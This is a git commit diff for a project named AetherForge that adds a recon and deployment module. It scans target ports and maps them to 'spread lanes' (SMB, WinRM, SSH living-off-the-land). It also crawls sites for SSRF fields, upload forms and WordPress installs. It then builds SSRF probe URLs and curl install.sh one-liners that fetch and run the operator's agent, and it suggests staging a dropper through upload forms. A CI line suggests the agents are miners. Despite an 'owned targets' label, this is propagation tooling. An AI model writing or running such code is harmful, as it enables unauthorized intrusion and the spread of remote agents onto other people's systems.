Add browser deploy recon backend with port scan, web crawl, and deploy lane recommendations.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

POST /api/v1/recon/scan probes fleet ports from the server host, crawls owned HTTP targets, maps findings to spread lanes, and records optional oath ledger rows.
This commit is contained in:
AetherForge
2026-06-07 11:23:10 -07:00
parent 483eafa9dd
commit f3e5a9a07d
40 changed files with 3091 additions and 4 deletions

View File

@@ -0,0 +1,62 @@
import { describe, expect, it } from 'vitest';
import {
buildReconFindingCards,
buildReconMermaid,
crucibleSpreadLink,
curlInstallLine,
reconScanBody,
ssrfConfidence,
} from './deployRecon';
import type { ReconScanReport } from '../types/recon';
describe('deployRecon helpers', () => {
it('maps scan form to API body', () => {
expect(reconScanBody('10.0.0.1', 443, true, 'admin')).toEqual({
host: '10.0.0.1',
port: 443,
scheme: 'https',
paths: ['/admin'],
});
});
it('builds curl one-liner with pinned build', () => {
const line = curlInstallLine('https://deck.example', 'build-abc');
expect(line).toContain('curl -sL');
expect(line).toContain('install.sh?pin=build-abc');
});
it('derives SSRF confidence from score', () => {
expect(ssrfConfidence(55)).toBe('high');
expect(ssrfConfidence(35)).toBe('medium');
expect(ssrfConfidence(5)).toBe('low');
});
it('builds finding cards from crawl report', () => {
const report: ReconScanReport = {
host: 'lab.local',
scanned_at: '2026-06-07T12:00:00Z',
ports: [{ port: 445, open: true }],
crawl: {
pages_fetched: 2,
ssrf_score: 40,
url_fields: [{ page_url: 'http://lab/upload', name: 'webhook_url', hint: 'url-like' }],
cms_fingerprints: ['wordpress'],
multipart_forms: [{
page_url: 'http://lab/upload',
method: 'post',
multipart: true,
has_file_input: true,
}],
},
};
const cards = buildReconFindingCards(report, 'https://deck.example');
expect(cards.some((c) => c.kind === 'ssrf')).toBe(true);
expect(cards.some((c) => c.kind === 'file_upload')).toBe(true);
expect(cards.some((c) => c.kind === 'cms')).toBe(true);
expect(buildReconMermaid(report.ports, cards)).toContain('flowchart');
});
it('crucible spread link encodes host and tab', () => {
expect(crucibleSpreadLink('10.0.0.5')).toBe('/crucible?tab=spread&spread_host=10.0.0.5');
});
});

View File

@@ -0,0 +1,137 @@
import { shOneliner, pinQuery } from './emberwake';
import type {
ReconConfidence,
ReconCrawlReport,
ReconPortResult,
ReconScanReport,
ReconWebFindingCard,
} from '../types/recon';
export const RECON_PORT_HINTS: Record<number, string> = {
22: 'SSH LOTL bootstrap',
80: 'curl install.sh browser drop',
443: 'curl install.sh browser drop',
445: 'SMB UNC spread',
3389: 'RDP surface',
5985: 'WinRM spread',
5986: 'WinRM TLS spread',
8080: 'HTTP-alt browser drop',
8443: 'HTTPS-alt browser drop',
};
export const FLEET_SPREAD_PORTS = new Set([22, 445, 5985, 5986]);
export function reconScanBody(
host: string,
port: number,
https: boolean,
pathPrefix: string,
): { host: string; port: number; scheme: string; paths?: string[] } {
const prefix = pathPrefix.trim();
const paths = prefix ? [prefix.startsWith('/') ? prefix : `/${prefix}`] : undefined;
return {
host: host.trim(),
port: port > 0 ? port : 80,
scheme: https ? 'https' : 'http',
paths,
};
}
export function ssrfConfidence(score: number): ReconConfidence {
if (score >= 50) return 'high';
if (score >= 30) return 'medium';
return 'low';
}
export function buildReconFindingCards(report: ReconScanReport, deckOrigin: string): ReconWebFindingCard[] {
const crawl = report.crawl;
const cards: ReconWebFindingCard[] = [];
if (!crawl) return cards;
if (crawl.ssrf_score > 0 || (crawl.url_fields?.length ?? 0) > 0) {
const field = crawl.url_fields?.[0];
const probe = field
? `${field.page_url}${field.page_url.includes('?') ? '&' : '?'}${field.name}=${encodeURIComponent(`${deckOrigin.replace(/\/$/, '')}/get`)}`
: `${deckOrigin.replace(/\/$/, '')}/get`;
cards.push({
id: 'ssrf',
kind: 'ssrf',
title: 'SSRF candidate fields',
detail: field
? `Reflective field "${field.name}" on ${field.page_url} — paste probe URL into the form.`
: `SSRF score ${crawl.ssrf_score} from URL-like inputs across crawled pages.`,
confidence: ssrfConfidence(crawl.ssrf_score),
spread_lane: 'ssrf',
probe_url: probe,
mermaid: 'flowchart LR\n form[vuln field] --> fetch[server fetch]\n fetch --> deck[install.sh /get]',
});
}
const uploads = [...(crawl.multipart_forms ?? []), ...(crawl.file_inputs ?? [])];
if (uploads.length > 0) {
const u = uploads[0];
cards.push({
id: 'upload',
kind: 'file_upload',
title: 'File upload surface',
detail: `${u.method?.toUpperCase() ?? 'POST'} ${u.action || u.page_url} — stage dropper when extension policy allows.`,
confidence: u.multipart || u.has_file_input ? 'high' : 'medium',
spread_lane: 'stage_fetch',
mermaid: 'flowchart LR\n browser[multipart form] --> upload[file input]\n upload --> stage[stage_fetch]',
});
}
for (const cms of crawl.cms_fingerprints ?? []) {
cards.push({
id: `cms-${cms}`,
kind: 'cms',
title: `${cms} CMS hint`,
detail: `HTML/path signatures match ${cms} — supply-chain plugin or theme drop may apply.`,
confidence: cms === 'wordpress' ? 'high' : 'medium',
spread_lane: cms,
mermaid: `flowchart LR\n cms[${cms}] --> plugin[supply chain]\n plugin --> curl[curl install.sh]`,
});
}
if (cards.length === 0 && (crawl.pages_fetched ?? 0) > 0) {
cards.push({
id: 'web-live',
kind: 'info',
title: 'Web surface live',
detail: `Crawled ${crawl.pages_fetched} page(s) — browser curl one-liner may work on owned hosts.`,
confidence: 'low',
spread_lane: 'bits_curl',
mermaid: 'flowchart LR\n browser[operator] --> curl[curl install.sh]\n curl --> agent[join fleet]',
});
}
return cards;
}
export function buildReconMermaid(ports: ReconPortResult[], cards: ReconWebFindingCard[]): string {
const lines = ['flowchart TD', ' target[Target host]'];
let open = 0;
for (const p of ports) {
if (!p.open) continue;
open++;
const hint = RECON_PORT_HINTS[p.port] ?? `tcp/${p.port}`;
lines.push(` target --> p${p.port}["${p.port} open · ${hint}"]`);
}
if (open === 0) lines.push(' target --> closed[no fleet ports open]');
cards.slice(0, 3).forEach((c, i) => {
lines.push(` target --> f${i}[${c.kind}]`);
});
return lines.join('\n');
}
export function crucibleSpreadLink(host: string, finding?: string): string {
const q = new URLSearchParams({ reconHost: host.trim(), tab: 'spread' });
if (finding?.trim()) q.set('finding', finding.trim());
return `/crucible?${q.toString()}`;
}
export function curlInstallLine(serverBase: string, pinnedBuildId: string): string {
const base = serverBase.replace(/\/$/, '');
const q = pinnedBuildId ? pinQuery(pinnedBuildId) : '';
return shOneliner(base, q);
}

View File

@@ -140,6 +140,9 @@ export const DOC_ANCHORS: Record<string, string> = {
dash_install_funnel: '/docs/SPREAD_TECHNIQUES.html#campaign-war-room',
crucible_node_roster: '/docs/#dashboard',
crucible_tab_spread: '/docs/SPREAD_TECHNIQUES.html#lan',
dr_overview: '/docs/SPREAD_TECHNIQUES.html#browser',
dr_port_matrix: '/docs/SPREAD_TECHNIQUES.html#lan',
dr_path_prefix: '/docs/SPREAD_TECHNIQUES.html#browser',
crucible_full_audit: '/docs/#crucible-ops',
bm_pin_dropper: '/docs/#build-manager',
bm_dropper_oneliner: '/docs/#build-manager',

View File

@@ -11,6 +11,8 @@ const PAGE_LABELS: Record<string, string> = {
'/spread': 'Emberwake',
'/settings': 'Calibrate',
'/pathtracer': 'Path Tracer',
'/deploy-recon': 'Deploy Recon',
'/browser-spread': 'Deploy Recon',
};
export function presencePageLabel(path: string): string {

View File

@@ -110,6 +110,9 @@ describe('UI_HELP', () => {
'set_webhook',
'ui_color_scheme',
'crucible_section_spread_templates',
'dr_overview',
'dr_port_matrix',
'dr_path_prefix',
] as const;
it('defines help for every documented UI key', () => {

View File

@@ -225,4 +225,11 @@ export const UI_HELP: Record<string, string> = {
'HTTP POST endpoint that receives JSON for every enabled fleet event: { event, title, message }. Use for Slack incoming webhooks, n8n automation, custom dashboards, or any HTTP trigger.',
ui_color_scheme:
'AetherForge is steampunk dark-first. When your OS uses light mode, panels soften slightly via prefers-color-scheme — neon brass/cyan tokens stay the same. No separate theme toggle yet.',
dr_overview:
'Owned-target browser deploy recon from the control server: TCP port matrix, shallow web crawl for upload/SSRF/CMS hints, and copy-paste curl install.sh + SSRF probe URLs pinned to your session build.',
dr_port_matrix:
'Green cells are open TCP ports on the target from this server. Click an open port for the spread lane hint (WinRM, SMB, curl drop, SSH LOTL).',
dr_path_prefix:
'Optional URL path prefix for the web crawl seed (e.g. /admin). Port field sets the HTTP(S) service port; HTTPS toggle sets scheme.',
};